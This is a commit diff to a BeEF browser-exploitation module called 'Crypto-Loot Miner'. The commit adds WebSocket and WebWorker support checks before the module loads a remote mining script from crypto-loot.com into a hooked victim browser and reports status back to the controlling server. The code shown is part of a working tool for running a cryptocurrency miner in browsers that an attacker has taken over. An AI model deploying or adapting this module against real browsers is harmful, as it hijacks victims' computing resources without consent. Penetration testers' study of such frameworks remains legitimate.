Add check for web sockets and web workers
This commit is contained in:
@@ -13,6 +13,18 @@ beef.execute(function() {
|
||||
var comm_id = <%= @command_id %>;
|
||||
var report_interval = +(<%= @report_interval %>) * 1000; // to miliseconds
|
||||
|
||||
if (!beef.browser.hasWebSocket()) {
|
||||
beef.debug('[CryptoLoot] Error: browser does not support WebSockets');
|
||||
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebSockets", beef.are.status_error());
|
||||
return;
|
||||
}
|
||||
|
||||
if (!beef.browser.hasWebWorker()) {
|
||||
beef.debug('[CryptoLoot] Error: browser does not support WebWorkers');
|
||||
beef.net.send(comm_url, comm_id, "error=unsupported browser - does not support WebWorkers", beef.are.status_error());
|
||||
return;
|
||||
}
|
||||
|
||||
beef.debug("[CryptoLoot] Loading library...");
|
||||
beef.net.send(comm_url, comm_id, "[CryptoLoot] Loading library...");
|
||||
beef.dom.loadScript('https://crypto-loot.com/lib/miner.min.js');
|
||||
|
||||
@@ -13,7 +13,7 @@ beef:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "Crypto-Loot Miner"
|
||||
description: "This module starts the Crypto-Loot Miner."
|
||||
description: "This module starts the Crypto-Loot Miner. It's worth noting that the module will not work with the default Crypto-Loot proxies as the certificates for the web socket servers are self-signed."
|
||||
authors: ["qutorial"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
|
||||
Reference in New Issue
Block a user